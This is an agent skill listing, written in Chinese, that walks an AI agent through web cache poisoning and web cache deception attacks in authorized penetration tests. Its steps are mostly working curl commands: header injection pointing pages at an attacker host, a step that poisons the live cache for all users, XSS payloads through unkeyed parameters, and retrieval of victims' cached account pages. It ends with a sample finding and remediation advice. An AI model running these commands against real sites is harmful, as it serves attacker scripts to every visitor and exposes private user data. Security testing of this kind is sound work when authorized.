# Performing Web Cache Poisoning Attack

> 在授权安全测试期间，通过未纳入缓存键的头部和参数毒化缓存响应，利用 Web 缓存机制向其他用户投递恶意内容。

- Skill: `killvxk/performing-web-cache-poisoning-attack` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-web-cache-poisoning-attack`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-web-cache-poisoning-attack/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-web-cache-poisoning-attack

---


# 执行 Web 缓存投毒攻击（Performing Web Cache Poisoning Attack）

## 适用场景

- 在授权渗透测试中，当应用程序使用 CDN 或反向代理缓存（Cloudflare、Akamai、Varnish、Nginx）时
- 评估 Web 应用程序是否存在可能影响所有用户的缓存型漏洞时
- 测试未纳入缓存键的 HTTP 头部是否在缓存响应中被反射时
- 评估缓存键行为和缓存欺骗漏洞时
- 对具有激进缓存策略的应用程序进行安全评估时

## 前置条件

- **授权**：明确涵盖缓存投毒测试的书面渗透测试协议
- **Burp Suite Professional**：配合 Param Miner 扩展，用于自动发现未纳入缓存键的头部
- **curl**：用于精确控制头部的手工缓存测试
- **目标知识**：了解缓存层（CDN 提供商、缓存头部）
- **缓存破坏参数（Cache buster）**：用于隔离测试请求与其他用户的唯一查询参数
- **注意**：缓存投毒影响所有用户；务必先使用缓存破坏参数进行测试

## 工作流程

### 步骤 1 — 识别缓存层和缓存行为

确认正在使用的缓存基础设施以及缓存键的构造方式。

```bash
# 检查缓存相关的响应头部
curl -s -I "https://target.example.com/" | grep -iE \
  "(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"

# 常见缓存标识：
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC（Cloudflare）
# Age: 120（已缓存秒数）
# X-Varnish: 12345 67890（Varnish）
# Via: 1.1 varnish（Varnish/CDN 代理）

# 通过测试变体确定缓存键
# 缓存键通常包含：Host + Path + Query string

# 测试 1：相同 URL 发送两次请求，检查第二次是否命中缓存
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# 第一次：MISS，第二次：HIT = 缓存已激活

# 测试 2：Vary 头部行为
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding 表示 Accept-Encoding 是缓存键的一部分
```

### 步骤 2 — 使用 Param Miner 发现未纳入缓存键的输入

使用 Burp 的 Param Miner 找出未纳入缓存键但在响应中被反射的头部和参数。

```
# 在 Burp Suite 中：
# 1. 从 BApp Store 安装 Param Miner
# 2. 右键点击目标请求 > Extensions > Param Miner > Guess headers
# 3. Param Miner 将测试数百个 HTTP 头部
# 4. 在 Extender > Extensions > Param Miner > Output 中查看结果

# 需手工测试的常见未纳入缓存键的头部：
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
```

```bash
# 手工测试未纳入缓存键的头部反射
# 添加缓存破坏参数以隔离测试
CB="cachebuster=$(date +%s)"

# 测试 X-Forwarded-Host 反射
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?$CB" | grep "evil.example.com"

# 测试 X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
  "https://target.example.com/?$CB" | grep "nothttps"

# 测试 X-Original-URL（路径覆盖）
curl -s -H "X-Original-URL: /admin" \
  "https://target.example.com/?$CB"

# 测试 X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
  "https://target.example.com/?$CB" | grep "http://"
```

### 步骤 3 — 利用未纳入缓存键的头部进行缓存投毒

构造请求，将恶意内容注入缓存响应。

```bash
# 场景：X-Forwarded-Host 被反射到资源 URL 中
# 正常响应包含：<script src="https://target.example.com/app.js">
# 被毒化后：<script src="https://evil.example.com/app.js">

# 步骤 1：使用缓存破坏参数确认反射
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?cb=unique123" | \
  grep "evil.example.com"

# 步骤 2：毒化实际缓存页面（不带缓存破坏参数）
# 警告：此操作影响所有用户 — 仅在获得明确授权时执行
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/"

# 步骤 3：验证缓存是否已被毒化
curl -s "https://target.example.com/" | grep "evil.example.com"
# 若出现 evil.example.com，则缓存已被毒化

# 利用 X-Forwarded-Proto 实施 HTTP 降级攻击
curl -s -H "X-Forwarded-Proto: http" \
  "https://target.example.com/?cb=unique456"
# 可能导致缓存响应包含 http:// 链接，从而实现中间人攻击

# 组合多个头部进行攻击
curl -s \
  -H "X-Forwarded-Host: evil.example.com" \
  -H "X-Forwarded-Proto: https" \
  "https://target.example.com/?cb=unique789"
```

### 步骤 4 — 测试 Web 缓存欺骗

欺骗缓存将已认证响应存储为公开 URL 的内容。

```bash
# Web 缓存欺骗攻击
# 缓存基于文件扩展名（.css、.js、.jpg）进行缓存
# 若应用程序忽略路径后缀：

# 步骤 1：以受害者身份（已认证），访问：
# https://target.example.com/account/profile/nonexistent.css
# 若应用程序返回个人资料页面（忽略 .css 后缀）
# 且缓存因 .css 扩展名而存储该响应...

# 测试应用程序路径处理方式
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
  "https://target.example.com/account/profile/test.css" | \
  grep -i "email\|name\|balance"

# 步骤 2：以攻击者身份（未认证），请求：
curl -s "https://target.example.com/account/profile/test.css"
# 若返回受害者的个人资料数据，则缓存欺骗攻击已确认

# 测试各种静态扩展名
for ext in css js jpg png gif ico svg woff woff2 ttf; do
  echo -n ".$ext: "
  curl -s -H "Authorization: Bearer $TOKEN" \
    -o /dev/null -w "%{http_code} %{size_download}" \
    "https://target.example.com/account/settings/x.$ext"
  echo
done

# 测试路径混淆模式
# /account/settings%2f..%2fstatic/style.css
# /account/settings/..;/static/style.css
# /account/settings;.css
```

### 步骤 5 — 测试基于参数的缓存投毒

利用未纳入缓存键的查询参数或参数解析差异。

```bash
# 未纳入缓存键的参数（参数不在缓存键中但被反射到页面）
# 使用通常被排除在缓存键之外的 UTM 参数
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" | \
  grep "alert"

# 通过解析差异实现参数隐藏
# 后端看到：callback=evil，缓存键忽略：callback
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"

# Fat GET 请求（在 GET 请求中包含请求体）
curl -s -X GET \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "param=evil_value" \
  "https://target.example.com/page?cb=$(date +%s)"

# 缓存键规范化差异
# 某些缓存规范化查询字符串顺序，某些不会
curl -s "https://target.example.com/page?a=1&b=2" # 作为 key1 缓存
curl -s "https://target.example.com/page?b=2&a=1" # 相同键？还是不同键？

# 测试基于端口的缓存投毒
curl -s -H "Host: target.example.com:1234" \
  "https://target.example.com/?cb=$(date +%s)" | grep "1234"
```

### 步骤 6 — 验证影响并清理

确认攻击影响并确保被毒化的缓存条目被清除。

```bash
# 验证被毒化的缓存是否对其他用户生效
# 使用不同的 IP/User-Agent/会话进行验证
curl -s -H "User-Agent: CacheVerification" \
  "https://target.example.com/" | grep "evil"

# 检查缓存 TTL 以了解暴露窗口期
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"
# max-age=3600 表示被毒化状态持续 1 小时

# 清理：强制缓存刷新
# 某些 CDN 允许通过 API 清除缓存
# Cloudflare：调用 API 清除缓存
# Varnish：使用 PURGE 方法
curl -s -X PURGE "https://target.example.com/"
# 或等待 TTL 过期

# 记录缓存投毒窗口期
# 开始时间：发送投毒请求的时刻
# 结束时间：开始时间 + max-age
# 受影响用户：在窗口期内访问缓存 URL 的所有用户
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **缓存键（Cache Key）** | 用于标识缓存响应的请求属性集合（host、path、query） |
| **未纳入缓存键的输入（Unkeyed Input）** | 未包含在缓存键中但在响应中被反射的 HTTP 头部或参数 |
| **缓存投毒（Cache Poisoning）** | 向缓存响应注入恶意内容，使其被提供给其他用户 |
| **缓存欺骗（Cache Deception）** | 欺骗缓存将已认证/私有响应存储为公开内容 |
| **Vary 头部（Vary Header）** | 指定哪些请求头部应纳入缓存键的 HTTP 头部 |
| **缓存破坏参数（Cache Buster）** | 在测试期间防止影响真实缓存的唯一查询参数 |
| **TTL（生存时间）** | 缓存响应在刷新前保持有效的持续时间 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | 请求拦截和缓存行为分析 |
| **Param Miner（Burp 扩展）** | 自动发现未纳入缓存键的 HTTP 头部和参数 |
| **Web Cache Vulnerability Scanner** | 自动检测缓存投毒的工具 |
| **curl** | 精确控制头部的手工 HTTP 请求构造 |
| **Varnishlog** | Varnish 缓存调试和日志分析 |
| **CDN 专用工具** | Cloudflare Analytics、Akamai Pragma 头部用于缓存诊断 |

## 常见场景

### 场景 1：通过 X-Forwarded-Host 注入脚本
应用程序将 `X-Forwarded-Host` 头部反射到 script src URL 中。该头部未纳入缓存键。发送带有 `X-Forwarded-Host: evil.com` 的请求，毒化缓存，使所有后续访问者从攻击者服务器加载 JavaScript。

### 场景 2：账户页面的 Web 缓存欺骗
Cloudflare 缓存的应用程序忽略未知路径段。请求 `/account/profile/logo.png` 返回账户页面，而 Cloudflare 将其缓存为静态图片。任何未认证用户随后均可访问该缓存的账户页面。

### 场景 3：通过缓存实现基于参数的 XSS
UTM 跟踪参数被排除在缓存键之外，但在页面 HTML 中被渲染。通过 `utm_content` 参数注入 `<script>` 标签，毒化缓存，对所有访问者形成持久型 XSS。

### 场景 4：通过 Host 头部进行 CDN 缓存投毒
多个应用程序位于同一 CDN 后端。操控 Host 头部使 CDN 在某应用程序的缓存键下存储另一个应用程序的响应。

## 输出格式

```
## Web 缓存投毒发现

**漏洞**：通过未纳入缓存键的头部实现 Web 缓存投毒
**严重性**：High（CVSS 8.6）
**位置**：所有页面上的 X-Forwarded-Host 头部
**OWASP 类别**：A05:2021 - 安全配置错误

### 缓存配置
| 属性 | 值 |
|----------|-------|
| CDN/缓存 | Cloudflare |
| Cache-Control | max-age=3600, public |
| 未纳入缓存键的头部 | X-Forwarded-Host, X-Forwarded-Proto |
| 受影响页面 | 所有 HTML 页面（/*.html） |

### 复现步骤
1. 发送带有 X-Forwarded-Host: evil.example.com 的请求
2. 响应包含：<link href="https://evil.example.com/style.css">
3. Cloudflare 将该响应缓存 3600 秒
4. 所有后续访问者收到被毒化的响应

### 影响
- 在所有用户浏览器中执行 JavaScript（通过毒化的 script src）
- 凭证窃取、会话劫持、页面篡改
- 在 1 小时缓存窗口期内预计影响每日 50,000 名访问者
- 可持续重新投毒以维持攻击效果

### 建议
1. 通过 Vary 头部将 X-Forwarded-Host 及类似头部纳入缓存键
2. 不在响应内容中反射未纳入缓存键的头部
3. 配置缓存在转发到源服务器前剥离未知头部
4. 在应用层使用硬编码基础 URL，而非从头部派生
5. 实施缓存键规范化以防止键操控
```

